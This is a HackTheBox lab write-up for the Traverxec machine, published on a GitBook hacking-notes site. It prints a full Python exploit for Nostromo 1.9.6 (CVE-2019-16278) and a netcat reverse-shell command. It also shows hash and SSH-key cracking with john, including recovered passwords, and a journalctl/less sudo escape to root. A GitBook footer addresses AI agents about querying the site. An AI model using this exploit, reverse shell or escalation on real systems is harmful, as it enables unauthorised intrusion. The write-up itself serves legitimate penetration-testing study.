> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/traverxec-hackthebox-writeup.md). # Traverxec HackTheBox Writeup Traverxec HackTheBox Easy Linux machine writeup covering Nostromo Exploitation, Abusing Nostromo HomeDirs Configuration, Exploiting Journalctl (Privilege Escalation), with practical enumeration, explo {% embed url="" %} {% hint style="warning" %} **Skills:** * Nostromo Exploitation * Abusing Nostromo HomeDirs Configuration * Exploiting Journalctl (Privilege Escalation) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- -sS --open -vvv -n -Pn --min-rate 5000 10.10.10.165 -oG allPorts ```

**Open Port Analysis with extractPorts:** Use the extractPorts function to display open ports in a concise format and copy them to the clipboard.

**Port Version Scan with Nmap:** Use Nmap to scan service versions and save the output in the "targeted" file:

To resolve domain names into IP addresses via DNS, insert the domain name associated with its IP address into the `/etc/hosts` file.

## Port 80:

Using `whatweb`, we identify Nostromo version 1.9.6:

## Nostromo Exploitation **Exploit Search**: On `searchploit`, find an RCE exploit for Nostromo 1.9.6 (CVE-2019-16278).

Download the script on GitHub. {% embed url="" %} **Script Execution**: Uses the following script to execute commands on the server ```python import argparse import socket # Setup Argparse parser = argparse.ArgumentParser(description="Exploit for CVE-2019-16278 - Nostromo 1.9.6 RCE") parser.add_argument("-t", "--target", help="Remote host to target") parser.add_argument("-p", "--port", help="Remote port to target") parser.add_argument("-c", "--command", help="Command to execute on the server") parser.add_argument("-b", "--bytes", help="The number of bytes to receive back in the response") # Define and assign the variables args = parser.parse_args() TARGET = args.target PORT = int(args.port) COMMAND = args.command BYTES = args.bytes if BYTES is None: BYTES = 4096 else: BYTES = int(BYTES) URL = "/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0" # Build and encode the payload payload = (f"POST {URL}/r/n" "Content-Length: 1/r/n/r/n" f"echo/necho/n{COMMAND} 2>&1").encode() # Create the socket and send the payload s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET, PORT)) s.send(payload) # Receive the response and close the socket print(s.recv(1024).decode()) # Decode the bytes back to string for printing print(s.recv(BYTES).decode()) s.close() ``` ```bash python exploit.py -t 10.10.10.165 -p 80 -c whoami ```

**Reverse Shell Obtained** ```bash python exploit.py -t 10.10.10.165 -p 80 -c bash -c 'nc -e /bin/bash 10.10.14.10 443' ``` ```bash sudo nc -nlvp 443 ```

#### Terminal Improvement To make the terminal interactive: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## Privilege Escalation **Access to Nostromo Configuration Files**: In the `nhttpd.conf` file, there is a directive indicating a file `.htpasswd` in `/var/nostromo/conf` which contains authentication information.

`david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/` **Password Decryption**: Use `john` to crack the password: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` `david:Nowonly4me`

### Nostromo HomeDirs Configuration {% hint style="info" %} **Background:** Nostromo is configured to allow users to host web content in a specified home directory, often as `public_www` in their home directory (`/home/[user]/public_www`). This configuration allows users to access their own pages via a URL like `http://traverxec.htb/~[user]`. {% endhint %}

Browsing this file, we also discover the mention of a `public_www` folder as the default location for users' web content.

Going to `http://traverxec.htb/~david` we find a hidden folder `protected-file-area` containing a file `.tgz`.

**Downloading and Extracting Content:** Download the `backup-ssh-identity-files.tgz` file:

Let's extract the contents to recover an SSH key: `tar -xzf backup-ssh-identity-files.tgz`

### **SSH Key Decryption:** The extracted SSH key is password protected. We use `ssh2john` to convert the key to the format usable by `john` and launch a brute force attack:

```bash ssh2john id_rsa > id_rsa.hash ```

```bash john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt id_rsa.hash ```

Password found: `hunter`. ```bash ssh -i id_rsa david@10.10.10.165 ```

### Flag user.txt

## Exploiting Journalctl: {% hint style="info" %} We found a script, `server-stats.sh`, in the `/bin` directory. This script is configured to run the `/usr/bin/journalctl` command with sudo privileges. This means we can exploit this command to gain root privileges {% endhint %}

**Search for Vulnerability in GTFOBins:** * Looking at GTFOBins, we discover that `journalctl` can be used to elevate privileges by issuing a shell command. {% embed url="" %}

**Conditions of Execution:** To trigger this exploitation, you must restrict the size of the terminal window in order to activate the `less` paging mode in `journalctl`. This mode allows you to execute shell commands via `!`. ```bash /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service ```

Once in `less` mode, enter the following command to obtain a root shell: ```bash !/bin/sh ```

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/traverxec-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.